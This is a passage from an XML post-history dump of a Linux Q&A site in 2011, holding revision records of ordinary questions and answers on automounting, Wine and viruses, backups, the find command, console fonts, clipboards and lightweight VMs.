Gentoo-specific, that works for me too. Scripting udev doesn't help with NFS and CIFS, right?&#xD;&#xA;&#xD;&#xA;This combo should be the ultimate automount setup, or am I missing something?" />
  <row Id="33839" PostHistoryTypeId="4" PostId="13455" RevisionGUID="8327ca27-709e-4c38-997e-3abbe8d625a4" CreationDate="2011-05-22T09:21:57.523" UserId="2847" Comment="notify-send idea" Text="Suggestions needed for udev, udisks, autofs, notification setup for a complete automounting solution on Linux" />
  <row Id="33840" PostHistoryTypeId="6" PostId="13455" RevisionGUID="8327ca27-709e-4c38-997e-3abbe8d625a4" CreationDate="2011-05-22T09:21:57.523" UserId="2847" Comment="notify-send idea" Text="énetworkingàégentooàéautomountingàéudevàéautofsà" />
  <row Id="33841" PostHistoryTypeId="5" PostId="1735" RevisionGUID="4f2c7a4a-ba2c-4843-adbe-60a72a5b5598" CreationDate="2011-05-22T09:24:20.480" UserId="688" Comment="added 7 characters in body" Text="Yes and no.  &#xD;&#xA;&#xD;&#xA;Virus/trojans are just programs, and will work on Wine... Also, your normal Linux fs is exposed to Wine with the user that launches Wine credentials.&#xD;&#xA;&#xD;&#xA;BUT, usually viruses are based on lots of hacks, and they expect a &quot;standard&quot; and common Windows installation. I doubt that any virus is coded thinking that it will be executed on Wine, and if it exists, it will probably not be too successful.  &#xD;&#xA;&#xD;&#xA;Why? Because Wine users are a small portion of normal users, they have &quot;weird&quot; and strange installations (think in all flavours of Linux+Wine), usually are avanced users, and they have a strong community aware of security.  &#xD;&#xA;&#xD;&#xA;So: yes, you are exposed to windows viruses, but not totally exposed, and most probably your linux installation will not be contamined. Just be carefull as you are on windows.&#xD;&#xA;&#xD;&#xA;On the other hand, you can use several techniques to increase the security: use chrooted wine (search google for chroot), virtualized environments, etc... " />
  <row Id="33842" PostHistoryTypeId="5" PostId="1760" RevisionGUID="a20244a3-a3e1-4a2d-83e4-b84445bad04a" CreationDate="2011-05-22T09:28:53.800" UserId="688" Comment="added 5 characters in body; edited title" Text="I am using Fedora 13, and it was my friend who did the installation for me. I have used Ubuntu also and I found it more easy to install than fedora. Ubuntu uses a WUBI installer (if I am correct) and its more easy for the users to install and remove Ubuntu. For a person who knows how to install and remove an application in Windows, can they install/remove Ubuntu also.  &#xD;&#xA;&#xD;&#xA;Why is it that its not the same with Fedora. Are there any steps being taken for making it more user-friendly to customers." />
  <row Id="33843" PostHistoryTypeId="4" PostId="1760" RevisionGUID="a20244a3-a3e1-4a2d-83e4-b84445bad04a" CreationDate="2011-05-22T09:28:53.800" UserId="688" Comment="added 5 characters in body; edited title" Text="Fedora vs. Ubuntu installation" />
  <row Id="33844" PostHistoryTypeId="5" PostId="1892" RevisionGUID="aa6f3768-674e-441c-beb1-dc3855051857" CreationDate="2011-05-22T09:32:22.053" UserId="688" Comment="added 12 characters in body" Text="You could give [TimeVault][1] or [FlyBack][2] a try.&#xD;&#xA;&#xD;&#xA;I am a Gentoo user myself, so I haven't really tried these, but they seem like they are pretty straight-forward.&#xD;&#xA;&#xD;&#xA;TimeVault does not seem to work correctly under Lucid, but only due to an incompatibility with python 2.6. &#xD;&#xA;&#xD;&#xA;Let me know if this helps or if you need further information. &#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/timevault&#xD;&#xA;  [2]: http://code.google.com/p/flyback/" />
  <row Id="33845" PostHistoryTypeId="5" PostId="1891" RevisionGUID="52a9ebc9-4e0b-471c-84dc-2573ba4665a8" CreationDate="2011-05-22T09:33:52.630" UserId="688" Comment="deleted 5 characters in body; deleted 3 characters in body" Text="After using an Ubuntu virtual machine for a while, I think I am ready to get a real, physical machine and use Ubuntu on it.&#xD;&#xA;&#xD;&#xA;Since I am still relatively new to the Linux world, is there a reliable solution for making regular backups of files and settings for my system (maybe similar to Apple's Time Machine?) that I can rely upon when, e.g. my hard drive fails, or something bad happens?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33846" PostHistoryTypeId="5" PostId="1786" RevisionGUID="91033c55-4889-4d16-8000-47df35ac3188" CreationDate="2011-05-22T09:36:03.983" UserId="688" Comment="deleted 4 characters in body; edited tags" Text="When I *ssh* into a **OS X** computer on my network the session lasts until the **OS X** goes into **sleep** mode.&#xD;&#xA;&#xD;&#xA;Is there a way to prevent this from happening during my *SSH* session, apart from physically bumping the mouse or typing keys, or manually disabling the sleep function?&#xD;&#xA;&#xD;&#xA;EDIT: The ssh session would normally be a simple sshfs mount." />
  <row Id="33847" PostHistoryTypeId="6" PostId="1786" RevisionGUID="91033c55-4889-4d16-8000-47df35ac3188" CreationDate="2011-05-22T09:36:03.983" UserId="688" Comment="deleted 4 characters in body; edited tags" Text="ésshàéosxà" />
  <row Id="33848" PostHistoryTypeId="5" PostId="1816" RevisionGUID="264613a6-c7d7-4da8-b99f-3bdc03526a54" CreationDate="2011-05-22T09:38:38.523" UserId="688" Comment="deleted 3 characters in body" Text="I have a bash script, called cgit, that acts as **git** for one specific git **repo** (located at `/.git`): &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    cd /;&#xD;&#xA;    sudo git $@ &gt; /dev/stdout&#xD;&#xA;&#xD;&#xA;I use it to keep track of imporant system files:&#xD;&#xA;&#xD;&#xA;    cgit add /etc/rc.conf&#xD;&#xA;&#xD;&#xA;The trouble is when I try to add content relative to the directory I'm in, for example: &#xD;&#xA;&#xD;&#xA;    cd /home/user&#xD;&#xA;    cgit add .ssh/config&#xD;&#xA;&#xD;&#xA;**cgit** would try and add `/.ssh/config` to the `/.git` repo.&#xD;&#xA;&#xD;&#xA;Any suggestions or work-arounds?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33849" PostHistoryTypeId="5" PostId="1823" RevisionGUID="66962fee-ac8e-4aef-85eb-ba50f91fb575" CreationDate="2011-05-22T09:40:25.997" UserId="688" Comment="deleted 11 characters in body; edited title" Text="I use symbolic links quite often, but after moving the original file, I lose track of the symbolic link. I also use symbolic links for keeping track of some files in the same directory, but again, I lose track.  &#xD;&#xA;&#xD;&#xA;* Is there any way (tool/method) to keep track of the symbolic link no matter what change I make? Is the hard link the only way for this?&#xD;&#xA;* Is there any way to make the symbolic link in a relative way so that when I move the directory that contains both the original and link, the link should work." />
  <row Id="33850" PostHistoryTypeId="4" PostId="1823" RevisionGUID="66962fee-ac8e-4aef-85eb-ba50f91fb575" CreationDate="2011-05-22T09:40:25.997" UserId="688" Comment="deleted 11 characters in body; edited title" Text="Keep tracking of symbolic links?" />
  <row Id="33851" PostHistoryTypeId="5" PostId="1856" RevisionGUID="8a443c46-c4c3-4cc5-ad64-cdfd2a84c2a7" CreationDate="2011-05-22T09:42:02.500" UserId="688" Comment="deleted 101 characters in body; edited title" Text="I heard that Ubuntu is not completely free (as in Freedom). What are the specific parts of Ubuntu that are not Free?" />
  <row Id="33852" PostHistoryTypeId="4" PostId="1856" RevisionGUID="8a443c46-c4c3-4cc5-ad64-cdfd2a84c2a7" CreationDate="2011-05-22T09:42:02.500" UserId="688" Comment="deleted 101 characters in body; edited title" Text="What makes Ubuntu not totally Free Software?" />
  <row Id="33853" PostHistoryTypeId="5" PostId="1863" RevisionGUID="8710f9ee-a861-4c3f-b594-73abd04c0949" CreationDate="2011-05-22T09:43:03.483" UserId="688" Comment="edited body" Text="And it can be easily installed without the non-free bits by pressing F6 and selecting &quot;Free software only&quot; before installing." />
  <row Id="33854" PostHistoryTypeId="5" PostId="1801" RevisionGUID="e61ceed4-0e06-4b1b-b9af-0c3f0f8f2c5c" CreationDate="2011-05-22T09:47:25.120" UserId="688" Comment="deleted 62 characters in body; edited title; edited title" Text="I'm trying to use some fairly old hardware (purchased ~2000) to have hooked up to my tv full time and I'm looking for advice on which distro to use.&#xD;&#xA;&#xD;&#xA;Hardware Specs: &#xD;&#xA;&#xD;&#xA; - Pentium 4 1.9 GHz&#xD;&#xA; - 765 mB RAM&#xD;&#xA; - NV11 [GeForce2 MX/MX 400] Graphics Card&#xD;&#xA; - more available if needed, not sure what else to list though&#xD;&#xA;&#xD;&#xA;Machine Requirements: &#xD;&#xA;&#xD;&#xA; - Capable of streaming music/video (a functional browser)&#xD;&#xA; - Easy install&#xD;&#xA; - Able to play out to a large screen (~30 inches)&#xD;&#xA; - Capable of playing DVD's/music from harddrive.&#xD;&#xA; - Extras that would be nice: ssh support, able to run as a LAMP, able to run as a File Server.  &#xD;&#xA;&#xD;&#xA;Based on my machine requirements and hardware specs, is this possible? Which distro would you recommend? &#xD;&#xA;&#xD;&#xA;I would ideally use Ubuntu Server+GUI but I've been having trouble with the install and I think it may be due to the aging hardware." />
  <row Id="33855" PostHistoryTypeId="4" PostId="1801" RevisionGUID="e61ceed4-0e06-4b1b-b9af-0c3f0f8f2c5c" CreationDate="2011-05-22T09:47:25.120" UserId="688" Comment="deleted 62 characters in body; edited title; edited title" Text="Trying to use an old PC for home theater PC" />
  <row Id="33856" PostHistoryTypeId="5" PostId="1178" RevisionGUID="50139d83-e989-4bc7-8c57-a29845ddc6bc" CreationDate="2011-05-22T09:52:34.477" UserId="688" Comment="deleted 2 characters in body; edited tags" Text="Sometimes after I boot up the machine, I get no sound in flash videos. First I didn't know why it was happening, but as I read a few articles here and there, I found out it was because of my USB webcam (logitech) - ALSA was messing something up and didn't know how to handle sound drivers well (so they say). So one of the suggestions I found was to force the (in my case) `snd_hda_intel` module load before `snd_usb_audio` module during the boot process. I thought it worked, but after a while the same problem appeared again. If I just unplug the webcam from my computer, sound works perfectly on each boot, but I don't want to get down and insart the cam everytime I need it... Anyone have any suggestions what I should try to fix this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33857" PostHistoryTypeId="6" PostId="1178" RevisionGUID="50139d83-e989-4bc7-8c57-a29845ddc6bc" CreationDate="2011-05-22T09:52:34.477" UserId="688" Comment="deleted 2 characters in body; edited tags" Text="ékernelàédriversàéaudioàéflashàéalsaà" />
  <row Id="33858" PostHistoryTypeId="5" PostId="1812" RevisionGUID="3fa61857-2f7e-4baa-ba67-6bd4fa036cdf" CreationDate="2011-05-22T09:54:44.350" UserId="688" Comment="deleted 115 characters in body; edited title" Text="I tried running objdump on the lib to figure it out without success. Is there a way to find out what a library does?" />
  <row Id="33859" PostHistoryTypeId="4" PostId="1812" RevisionGUID="3fa61857-2f7e-4baa-ba67-6bd4fa036cdf" CreationDate="2011-05-22T09:54:44.350" UserId="688" Comment="deleted 115 characters in body; edited title" Text="What does libgcc_s.so contain?" />
  <row Id="33860" PostHistoryTypeId="5" PostId="555" RevisionGUID="6bc9e3ee-6f79-4d5d-a033-c0384a59a182" CreationDate="2011-05-22T10:10:28.227" UserId="688" Comment="added 1 characters in body" Text="Try [rsnapshot][1]. It uses `rsync` and hardlinks and is incremental.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rsnapshot.org/" />
  <row Id="33861" PostHistoryTypeId="5" PostId="1923" RevisionGUID="00aae044-9657-4e3e-b33b-63313a66d19d" CreationDate="2011-05-22T10:12:50.270" UserId="688" Comment="added 1 characters in body" Text="I know some distro's (Moblin? ) have X starting as a user other than root already... What is required to do this? What steps need to be taken?&#xD;&#xA;&#xD;&#xA;*I don't think it matters but I think X is started by KDM on my system and I'm running Arch Linux*" />
  <row Id="33862" PostHistoryTypeId="5" PostId="1836" RevisionGUID="780f9843-d85c-46e6-bbe9-266ad15e285f" CreationDate="2011-05-22T10:59:17.523" UserId="688" Comment="added 4 characters in body" Text="My soon-to-be HTPC has similar specs, although I don't have the GeForce card. Until now I've been using my Netbook as an ad-hoc HTPC, with lower specs, and good results. So given your specs and requirements, yes it's more than possible.&#xD;&#xA;&#xD;&#xA;Dig around the [GeeXboX][1] site and see if you like :-)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.geexbox.org/" />
  <row Id="33863" PostHistoryTypeId="5" PostId="1484" RevisionGUID="783d4c42-585a-41ce-abaa-a45e57f1339e" CreationDate="2011-05-22T11:02:33.077" UserId="688" Comment="deleted 25 characters in body; edited tags; edited title" Text="How do I list all executable files recursively within a directory?&#xD;&#xA;&#xD;&#xA;I use `find` command like this: &#xD;&#xA;&#xD;&#xA;    $ find /mydir/mysubdir -executable -type f&#xD;&#xA;&#xD;&#xA;All executable files are listed (excluding directory), and including executable script file (like script.sh, etc). What I want to do is list only binary executable file." />
  <row Id="33864" PostHistoryTypeId="4" PostId="1484" RevisionGUID="783d4c42-585a-41ce-abaa-a45e57f1339e" CreationDate="2011-05-22T11:02:33.077" UserId="688" Comment="deleted 25 characters in body; edited tags; edited title" Text="How to find executable files within a directory" />
  <row Id="33865" PostHistoryTypeId="6" PostId="1484" RevisionGUID="783d4c42-585a-41ce-abaa-a45e57f1339e" CreationDate="2011-05-22T11:02:33.077" UserId="688" Comment="deleted 25 characters in body; edited tags; edited title" Text="élinuxàébashàécommandölineàéfindàéfileöcommandà" />
  <row Id="33866" PostHistoryTypeId="5" PostId="1494" RevisionGUID="6d8044e6-8770-4541-8a3c-36dadc6c9b66" CreationDate="2011-05-22T11:04:08.537" UserId="688" Comment="deleted 48 characters in body" Text="You might try the `file` utility.  According to the manpage:&#xD;&#xA;&#xD;&#xA;&gt; The magic tests are used to check for files with data in particular fixed formats. The canonical example of this is a binary executable (compiled program) a.out file, whose format is defined in &lt;elf.h&gt;, &lt;a.out.h&gt; and possibly &lt;exec.h&gt; in the standard include directory.&#xD;&#xA;&#xD;&#xA;You might have to play around with the regular expression but something like:&#xD;&#xA;&#xD;&#xA;    $ find -type f -executable -exec file -i '{}' \; | grep 'x-executable; charset=binary'&#xD;&#xA;&#xD;&#xA;file has lots of options, so you might want to take a closer look at the man page. I used the first option I found that seemed to output easily-to-grep output." />
  <row Id="33867" PostHistoryTypeId="5" PostId="2014" RevisionGUID="d55456ad-d868-44d3-8c0b-b58b4cba4c7a" CreationDate="2011-05-22T11:07:03.790" UserId="688" Comment="deleted 3 characters in body; edited tags" Text="I want to understand how OpenSolaris [ptools][1](process tools) works. How exactly  pstack, pmap, pargs etc works, but I can't find any link to its full source code. I can only find an online version of the [source][2]. Any advice where I can download source code for offline use?&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.sun.com/solaris/articles/solaris_performanceandtools_ch3_processes.pdf&#xD;&#xA;  [2]: http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/ptools/" />
  <row Id="33868" PostHistoryTypeId="6" PostId="2014" RevisionGUID="d55456ad-d868-44d3-8c0b-b58b4cba4c7a" CreationDate="2011-05-22T11:07:03.790" UserId="688" Comment="deleted 3 characters in body; edited tags" Text="ésolarisàéopensolarisà" />
  <row Id="33869" PostHistoryTypeId="5" PostId="2021" RevisionGUID="24261b4a-80cd-460d-85a3-42884f88269e" CreationDate="2011-05-22T11:09:18.877" UserId="688" Comment="edited body" Text="Like Kristof Provost mentioned, the official source for the code is:&#xD;&#xA;&#xD;&#xA;    ssh://anon@hg.opensolaris.org/hg/project/project-repo&#xD;&#xA;&#xD;&#xA;Like you said the source tarballs are now deprecated.&#xD;&#xA;&#xD;&#xA;&gt; and I cant install Mercurial :(&#xD;&#xA;&#xD;&#xA;? But you should have access to some machine where you can? If not, another possibility would be a live cd with mercurial installed, for example the excellent [GRML][1].&#xD;&#xA;&#xD;&#xA;Beside that, I cloned the repository for you ;-) You can find it under: http://solaris.oark.org/usr/src/. What you are looking for is the directory http://solaris.oark.org/usr/src/cmd/ptools/. `wget` should now do the job :-)&#xD;&#xA;&#xD;&#xA;Note: I will delete this cloned repository the next weeks...&#xD;&#xA;&#xD;&#xA;Have fun. &#xD;&#xA;&#xD;&#xA;  [1]: http://grml.org/" />
  <row Id="33870" PostHistoryTypeId="5" PostId="1981" RevisionGUID="74592a28-ad82-4bf4-a5b1-06e1bcaddc72" CreationDate="2011-05-22T11:13:16.800" UserId="688" Comment="deleted 63 characters in body; edited body" Text="Does anyone have an idea why when I insert a CD/DVD/flash nautilus opens as a default file manager under KDE instead of dolphin krusader? In my system settings krusader is set as the default manager, but still nautilus somehow keeps showing up, and I'm wondering how to change that?&#xD;&#xA;&#xD;&#xA;I keep nautilus because it's a dropbox dependency... Ok, I know there are workarounds so one could use dropbox without nautilus but I didn't bother trying that out... I don't mind keeping nautilus but I just want it to be quiet :D&#xD;&#xA;&#xD;&#xA;I have KDE 4.5.1 installed on an up-to-date Arch if that helps.&#xD;&#xA;" />
  <row Id="33871" PostHistoryTypeId="5" PostId="1963" RevisionGUID="73d790e4-ace1-4638-9542-83af5205cf04" CreationDate="2011-05-22T11:16:19.607" UserId="688" Comment="deleted 4 characters in body; edited tags; edited title" Text="Is there a document somewhere describing each of mplayer's video output drivers and why'd you'd want to pick that one for a given circumstance (or why it exists) Would someone be willing to write that out here?" />
  <row Id="33872" PostHistoryTypeId="4" PostId="1963" RevisionGUID="73d790e4-ace1-4638-9542-83af5205cf04" CreationDate="2011-05-22T11:16:19.607" UserId="688" Comment="deleted 4 characters in body; edited tags; edited title" Text="Mplayer video output drivers" />
  <row Id="33873" PostHistoryTypeId="6" PostId="1963" RevisionGUID="73d790e4-ace1-4638-9542-83af5205cf04" CreationDate="2011-05-22T11:16:19.607" UserId="688" Comment="deleted 4 characters in body; edited tags; edited title" Text="évideoàémplayerà" />
  <row Id="33874" PostHistoryTypeId="5" PostId="1760" RevisionGUID="fbbd95f7-f0e0-48f7-b756-26a04de66c93" CreationDate="2011-05-22T11:16:59.387" UserId="1952" Comment="doesn't add anything to the question, misuses the word &quot;customer&quot;." Text="I am using Fedora 13, and it was my friend who did the installation for me. I have used Ubuntu also and I found it more easy to install than fedora. Ubuntu uses a WUBI installer (if I am correct) and its more easy for the users to install and remove Ubuntu. For a person who knows how to install and remove an application in Windows, can they install/remove Ubuntu also.  &#xD;&#xA;&#xD;&#xA;Why is it that its not the same with Fedora. Are there any steps being taken for making it more user-friendly." />
  <row Id="33875" PostHistoryTypeId="24" PostId="1760" RevisionGUID="fbbd95f7-f0e0-48f7-b756-26a04de66c93" CreationDate="2011-05-22T11:16:59.387" Comment="Proposed by 1952 approved by 29 edit id of 389" />
  <row Id="33876" PostHistoryTypeId="5" PostId="1958" RevisionGUID="30793497-d23a-4182-8d34-ae5691382b7a" CreationDate="2011-05-22T11:20:55.673" UserId="688" Comment="deleted 55 characters in body" Text="I am having a problem with my Revo 3610 witch is connected to my tv via HDMI.&#xD;&#xA;For some reason will it not do the HDMI handshake with the tv, so my tv does not think that there are anything in the HDMI port.&#xD;&#xA;&#xD;&#xA;I have tested the tv and it works fine, with my laptop and DVD. It does work sometimes, but this time it failed for 2 days in a row, and I have tried rebooting, turning the tv off and on, and so on... nothing helps.&#xD;&#xA;&#xD;&#xA;I can trick the TV to listen to the HDMI with connecting with my laptop and then change the HDMI back to my revo, but this results in a big fat &quot;Check signal cable&quot; on the screen. I have also tried changing the resolution in the revo but that doesn't not help either.&#xD;&#xA;&#xD;&#xA;Have any one had this problem before, and if so how did you fix it?&#xD;&#xA;&#xD;&#xA;![Example](http://i.imgur.com/gguZ4.jpg)" />
  <row Id="33877" PostHistoryTypeId="5" PostId="453" RevisionGUID="0abc03e7-904f-4bc5-bcee-ddf52ab0700b" CreationDate="2011-05-22T11:23:01.210" UserId="688" Comment="added 14 characters in body; edited tags; deleted 3 characters in body; edited title" Text="I need some good download manager for Linux (like IDM on windows). I want it to be able to install a browser plugin too, which allows you to download movies from youtube or other sites easily. It should also make as many as connection possible." />
  <row Id="33878" PostHistoryTypeId="6" PostId="453" RevisionGUID="0abc03e7-904f-4bc5-bcee-ddf52ab0700b" CreationDate="2011-05-22T11:23:01.210" UserId="688" Comment="added 14 characters in body; edited tags; deleted 3 characters in body; edited title" Text="élinuxàésoftwareörecàéfirefoxàédownloadà" />
  <row Id="33879" PostHistoryTypeId="4" PostId="453" RevisionGUID="0abc03e7-904f-4bc5-bcee-ddf52ab0700b" CreationDate="2011-05-22T11:23:01.210" UserId="688" Comment="added 14 characters in body; edited tags; deleted 3 characters in body; edited title" Text="Download Manager for Linux" />
  <row Id="33880" PostHistoryTypeId="5" PostId="2066" RevisionGUID="0d7af538-1b6e-4eed-87ed-d0f7f3a7b675" CreationDate="2011-05-22T11:25:43.110" UserId="688" Comment="added 4 characters in body; edited title" Text="I always wondered if running Mono apps will ever be available for Linux by just double clicking on the `.exe`. Now, in order to have a launcher on GNOME, the best way is to add a new bash file which will do the 'mono myapp.exe' for you.&#xD;&#xA;&#xD;&#xA;I remember there were some ideas to have that in Linux long time ago, but nothing recently..." />
  <row Id="33881" PostHistoryTypeId="4" PostId="2066" RevisionGUID="0d7af538-1b6e-4eed-87ed-d0f7f3a7b675" CreationDate="2011-05-22T11:25:43.110" UserId="688" Comment="added 4 characters in body; edited title" Text="Enable running mono apps by double-clicking on the .exe file" />
  <row Id="33882" PostHistoryTypeId="25" PostId="13548" RevisionGUID="37342fb6-b407-4bd8-9c04-80ec1b7ba00e" CreationDate="2011-05-22T12:12:33.263" Comment="http://twitter.com/#!/StackUnix/status/72273639713673216" />
  <row Id="33883" PostHistoryTypeId="2" PostId="13585" RevisionGUID="2a2aedfb-86b7-41bd-8814-c1cf11536050" CreationDate="2011-05-22T13:30:34.847" UserId="1594" Text="I don't really understand the linux clipboard/s scheme. Instead of understanding it, is there a way to simplify it into one, unified clipboard? You know, so I could copy in any app and paste in any other?&#xD;&#xA;&#xD;&#xA;The current issue that's bugging me is IntelliJ's &quot;copy path&quot; action seems to copy the path of the current file, but I can only paste it back into IntelliJ itself - if I try to paste it into a terminal, the content simply isn't in the clipboard." />
  <row Id="33884" PostHistoryTypeId="1" PostId="13585" RevisionGUID="2a2aedfb-86b7-41bd-8814-c1cf11536050" CreationDate="2011-05-22T13:30:34.847" UserId="1594" Text="How can I use just one unified clipboard?" />
  <row Id="33885" PostHistoryTypeId="3" PostId="13585" RevisionGUID="2a2aedfb-86b7-41bd-8814-c1cf11536050" CreationDate="2011-05-22T13:30:34.847" UserId="1594" Text="éclipboardà" />
  <row Id="33886" PostHistoryTypeId="2" PostId="13586" RevisionGUID="3e0283d6-51a4-4462-bb1e-36d488f2a316" CreationDate="2011-05-22T13:40:42.650" UserId="7183" Text="I'm installing LFS and I'm struggling with [this section][1]. My locale is `sv_SE.UTF-8` and I have a Swedish keyboard. So I suppose I should enable unicode and that the keymap is `sv-latin1`:&#xD;&#xA;&#xD;&#xA;	cat &gt; /etc/sysconfig/console &lt;&lt; &quot;EOF&quot;&#xD;&#xA;	# Begin /etc/sysconfig/console&#xD;&#xA;&#xD;&#xA;	UNICODE=&quot;1&quot;&#xD;&#xA;	KEYMAP=&quot;sv-latin1&quot;&#xD;&#xA;&#xD;&#xA;	# End /etc/sysconfig/console&#xD;&#xA;	EOF&#xD;&#xA;&#xD;&#xA;Correct? What I'm struggling with is how to set the font. The book has this example for configuring the German keymap:&#xD;&#xA;&#xD;&#xA;	cat &gt; /etc/sysconfig/console &lt;&lt; &quot;EOF&quot;&#xD;&#xA;	# Begin /etc/sysconfig/console&#xD;&#xA;	&#xD;&#xA;	KEYMAP=&quot;de-latin1&quot;&#xD;&#xA;	KEYMAP_CORRECTIONS=&quot;euro2&quot;&#xD;&#xA;	FONT=&quot;lat0-16 -m 8859-15&quot;&#xD;&#xA;	&#xD;&#xA;	# End /etc/sysconfig/console&#xD;&#xA;	EOF&#xD;&#xA;&#xD;&#xA;Since German and Swedish is somewhat similar I suppose I could possibly use the same font, but I don't really understand the difference between lat0-16, lat1-16 and lat2-16. Also how do I know if I'm supposed to use 8859-15 or 8859-1?&#xD;&#xA;&#xD;&#xA;&gt;In UTF-8 mode, the kernel uses the application character map for conversion of composed 8-bit key codes in the keymap to UTF-8, and thus the argument of the &quot;-m&quot; parameter should be set to the encoding of the composed key codes in the keymap.&#xD;&#xA;&#xD;&#xA;So I guess the -m parameter is dependent on the chosen keymap, but how do I know what application character map my keymap uses?&#xD;&#xA;&#xD;&#xA;Finally I also have a question about the font naming: The latin (I suppose that's what lat stands for) fonts have names on the following form: `latX-Y`&#xD;&#xA;&#xD;&#xA;Is it correct that X specifies what characters are supported and Y specifies the font size?&#xD;&#xA;&#xD;&#xA;[1]: http://www.linuxfromscratch.org/lfs/view/stable/chapter07/console.html" />
  <row Id="33887" PostHistoryTypeId="1" PostId="13586" RevisionGUID="3e0283d6-51a4-4462-bb1e-36d488f2a316" CreationDate="2011-05-22T13:40:42.650" UserId="7183" Text="How do I configure setfont and loadkeys properly?" />
  <row Id="33888" PostHistoryTypeId="3" PostId="13586" RevisionGUID="3e0283d6-51a4-4462-bb1e-36d488f2a316" CreationDate="2011-05-22T13:40:42.650" UserId="7183" Text="ékeyboardöshortcutsàéfontsàéconsoleàélocaleà" />
  <row Id="33889" PostHistoryTypeId="2" PostId="13587" RevisionGUID="e9396727-2c20-4f81-8b35-d6a7958643a2" CreationDate="2011-05-22T13:58:41.463" UserId="4269" Text="Hi,&#xD;&#xA;&#xD;&#xA;Suppose i learn how fork() system call is implemented in Linux, how can use the knowledge gained? Where can use the knowledge? I know that going through the kernel code allows me to gain insight on techniques to solve problems, the way people think to solve problems. But is there more benefits ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33890" PostHistoryTypeId="1" PostId="13587" RevisionGUID="e9396727-2c20-4f81-8b35-d6a7958643a2" CreationDate="2011-05-22T13:58:41.463" UserId="4269" Text="How to use the knowledge gained from Linux Kernel Study?" />
  <row Id="33891" PostHistoryTypeId="3" PostId="13587" RevisionGUID="e9396727-2c20-4f81-8b35-d6a7958643a2" CreationDate="2011-05-22T13:58:41.463" UserId="4269" Text="élinuxàékernelàélearningà" />
  <row Id="33892" PostHistoryTypeId="5" PostId="13587" RevisionGUID="1ba11277-8580-4d4c-a66a-51594a52e07d" CreationDate="2011-05-22T14:11:03.313" UserId="688" Comment="deleted 21 characters in body" Text="Supposing I learn how `fork()` system call is implemented in Linux, how and where can I use the knowledge gained? I know that going through the kernel code allows me to gain insight on techniques to solve problems, the way people think to solve problems. But is there more benefits?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33893" PostHistoryTypeId="2" PostId="13588" RevisionGUID="16596568-01d5-4fd1-be0a-ab631711f450" CreationDate="2011-05-22T14:46:05.763" UserId="688" Text="I can't find a setting the makes Evolution display messages sent by me in thread view. I can find them in Sent folder, but I'd like them to be part of the normal threads." />
  <row Id="33894" PostHistoryTypeId="1" PostId="13588" RevisionGUID="16596568-01d5-4fd1-be0a-ab631711f450" CreationDate="2011-05-22T14:46:05.763" UserId="688" Text="How to see mails sent by me in Evolution" />
  <row Id="33895" PostHistoryTypeId="3" PostId="13588" RevisionGUID="16596568-01d5-4fd1-be0a-ab631711f450" CreationDate="2011-05-22T14:46:05.763" UserId="688" Text="éevolutionà" />
  <row Id="33896" PostHistoryTypeId="2" PostId="13589" RevisionGUID="af4d6343-63f8-426a-b015-b0fb1674be7d" CreationDate="2011-05-22T15:05:01.753" UserId="2180" Text="There are several clipboard managers such as parcellite, klipper, glipper, glippy, anamnesis, pastie and others. These generally allow you to manage your clipboard by presenting a history.&#xD;&#xA;&#xD;&#xA;Some of them allow you to treat the primary and secondary clipboards as one (parcellite and klipper definitely do).&#xD;&#xA;&#xD;&#xA;Anamnesis allows you to plow through your history with a search tool." />
  <row Id="33898" PostHistoryTypeId="25" PostId="13585" RevisionGUID="8a28b493-67e0-4755-aef5-2e4a70a6358c" CreationDate="2011-05-22T15:12:33.553" Comment="http://twitter.com/#!/StackUnix/status/72318939312562177" />
  <row Id="33899" PostHistoryTypeId="6" PostId="13586" RevisionGUID="7a204409-cdc8-47e6-bfc2-c43b6c86f4dd" CreationDate="2011-05-22T15:28:31.700" UserId="885" Comment="edited tags" Text="élinuxàéfontsàéconsoleàélocaleàékeyboardölayoutà" />
  <row Id="33900" PostHistoryTypeId="5" PostId="1484" RevisionGUID="bd46dd84-8634-4aae-9d70-71ded58c0f65" CreationDate="2011-05-22T15:32:18.410" UserId="885" Comment="title; tags" Text="How do I list all binary executable files recursively within a directory?&#xD;&#xA;&#xD;&#xA;I use `find` command like this: &#xD;&#xA;&#xD;&#xA;    find /mydir/mysubdir -executable -type f&#xD;&#xA;&#xD;&#xA;All executable files are listed (excluding directory), and including executable script file (like script.sh, etc). What I want to do is list only binary executable files." />
  <row Id="33901" PostHistoryTypeId="4" PostId="1484" RevisionGUID="bd46dd84-8634-4aae-9d70-71ded58c0f65" CreationDate="2011-05-22T15:32:18.410" UserId="885" Comment="title; tags" Text="How to find binary executables within a directory" />
  <row Id="33902" PostHistoryTypeId="6" PostId="1484" RevisionGUID="bd46dd84-8634-4aae-9d70-71ded58c0f65" CreationDate="2011-05-22T15:32:18.410" UserId="885" Comment="title; tags" Text="éfilesàéfindàébinaryà" />
  <row Id="33903" PostHistoryTypeId="2" PostId="13590" RevisionGUID="3a2be144-4540-49fe-90c4-fabc1d8be02c" CreationDate="2011-05-22T15:33:45.780" UserId="7669" Text="Hi guys.&#xD;&#xA;&#xD;&#xA;I need to host an ssh server on a x86-64 Debian squeeze machine with no VT-extensions. :(. &#xD;&#xA;&#xD;&#xA;I am using virtlib with qemu (set up and working)&#xD;&#xA;&#xD;&#xA;I have tried an number of things and non have been perfect, so I was hoping to draw on your experience.&#xD;&#xA;&#xD;&#xA;I am used to using Debian based Linux distros an and APT bases repos so sticking with them is desirable but by no means critical. &#xD;&#xA;&#xD;&#xA;So far I have tried x86_64 squeeze with no desktop, X ect but it is a painfully slow. if I ps aux at any one time there loads of proccess running, most of are idelling but still.&#xD;&#xA;&#xD;&#xA;I have also tried i386 damnsmalllinux in i686 qemu mode, once flux box and X had been terminated it was more than fast enough for my needs, but removing the desktop was a bad hack at best. I got it down to only handful of necessary processes which was good.&#xD;&#xA;&#xD;&#xA;So my question is what makes DSL faster, is that it is kernel 2.4 and would installing woody yield similar results? or was it 